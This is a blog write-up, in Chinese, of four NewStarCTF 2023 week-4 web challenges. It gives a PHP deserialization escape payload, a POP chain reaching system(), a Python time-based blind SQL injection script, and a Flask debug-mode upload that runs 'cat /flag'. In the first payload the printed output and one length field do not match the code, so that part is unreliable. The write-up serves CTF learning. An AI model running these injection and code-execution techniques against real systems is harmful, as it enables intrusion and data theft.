NewStarCTF 2023-WEEK4 Web WriteUp

解题 4/7

打开容器,看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

明显的php反序列化逃逸,利用原理即使用大量的bad替换为good来逃逸php反序列化的字符数量标记

给出payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
function waf($str)
{
return str_replace("bad", "good", $str);
}

class GetFlag
{
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

$a = new GetFlag("badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad\";s:3:\"cmd\";s:4:\"cat /flag\";}");
echo waf(serialize($a));
//O:7:"GetFlag":2:{s:3:"key";s:88:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}

More Fast

开容器看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

看起来像是一个php的__destruct反序列化利用,但是注意到结尾处出现throw new Exception("Nope");强制跑出异常进入到gc垃圾回收模式。因此,我们需要在反序列化处触发异常提前进入垃圾回收模式,其中,触发异常的情况常见有几种:

  • 对象被unset()处理时,可以触发。
  • 数组对象为NULL时,可以触发。
  • 当输入的序列化对象格式不完整或不正确时,可以触发。

这里采用第三种方式绕过(当然,别的方式也可以正常绕过)

给出payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
highlight_file(__FILE__);

class Start
{
public $errMsg;
public function __destruct()
{
die($this->errMsg);
}
}

class Pwn
{
public $obj;
public function __invoke()
{
$this->obj->evil();
}
public function evil()
{
phpinfo();
}
}

class Reverse
{
public $func;
public function __get($var)
{
($this->func)();
}
}

class Web
{
public $func = "system";
public $var = "ls";
public function evil()
{
if (!preg_match("/flag/i", $this->var)) {
($this->func)($this->var);
} else {
echo "Not Flag";
}
}
}

class Crypto
{
public $obj;
public function __toString()
{
$wel = $this->obj->good;
return "NewStar";
}
}

$a = new Start();
$a->errMsg = new Crypto();
$a->errMsg->obj = new Reverse();
$a->errMsg->obj->func = new Pwn();
$a->errMsg->obj->func->obj = new Web();

echo serialize($a);

得到的payload结尾删去一个反大括号即可。

midsql

打开容器看到sql源码

1
2
3
$cmd = "select name, price from items where id = ".$_REQUEST["id"];
$result = mysqli_fetch_all($result);
$result = $result[0];

测试一下,发现是数字注入但是没有回显,还禁用了几个字符。

使用延时注入方法,写个python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
url='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28database%28%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'
url1='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28table_schema%29%2F**%2Ffrom%2F**%2Finformation_schema.tables%2F**%2Fwhere%2F**%2Ftable_name%2F**%2Flike%2F**%2F%27items%27%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'
url1='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28schema_name%29%2F**%2Ffrom%2F**%2Finformation_schema.schemata%2F**%2F%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'
flag=''
url1='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28name%29%2F**%2Ffrom%2F**%2Fctf.items%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'

temp_url=url1.format(1,0)
re=requests.get(temp_url)
print(re.text)

for i in range(1,100):
# print(i)
for j in range(32,126):
temp_url=url1.format(i,j)
try:
re=requests.get(temp_url,timeout=3)
#print(j)
except Exception:
flag+=chr(j)
print(chr(j),end='')
break

print('\n',flag)

得到flag

flask disk

打开容器,看到上传界面,上传一个空内容,发现python flask框架的debug模式没关,想到debug模式的热加载特性,直接上传一个app.py,加一个读flag的路由即可。

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from crypt import methods
from flask import Flask,request,send_file
import os,datetime
app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
return '<h1>Welcome to my flask disk</h1><a href="/list">list files</a><br><a href="/upload">upload files</a><br><a href="/console">admin manage</a>'

@app.route('/list',methods=['GET'])
def list():
dirs = os.listdir('.')
items = ''
for dir in dirs:
if os.path.isfile(dir):
create_time = int(os.path.getctime(dir))
create_time = datetime.datetime.fromtimestamp(create_time)
item =f'</pre>{dir} {str(os.path.getsize(dir))}b {create_time}</pre><br><br>'
items += item
items += '\n'
return items

@app.route('/aa',methods=['GET'])
def aa():
os.system('cat /flag > /app/1.txt')
return 'os.system(a)'

@app.route('/upload',methods=['GET','POST'])
def upload():
if request.method == 'GET':
s='<form action="/upload" method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>'
return s
elif request.method == 'POST':
file = request.files['file']
if '..' in file.filename or '/' in file.filename:
return '.. and / are not allowed!'

file.save(file.filename)
return 'upload success. <a href="/list">check</a>'

@app.route('/download',methods=['GET','POST'])
def download():
filename = request.args.get('filename')
if filename and os.path.exists(filename):
if '..' in filename or '/' in filename:
return '.. and / are not allowed!'
return send_file(filename,as_attachment=True)
else:
return 'no file to download or file not exist'

if __name__=='__main__':
app.run(host='0.0.0.0',debug=True,port=5000)

总结

难起来了,开始坐牢了。。。

贴个wp:https://shimo.im/docs/gXqmdVvbOEsXpo3o/read

顺便把第五周的也贴上了:https://shimo.im/docs/R3sGgZdrlyE6nL8T/read


NewStarCTF 2023-WEEK4 Web WriteUp
https://blog.lazyforever.top/2023/11/05/2023newstarctfWeek4/
作者
lazy_forever
发布于
2023年11月5日
许可协议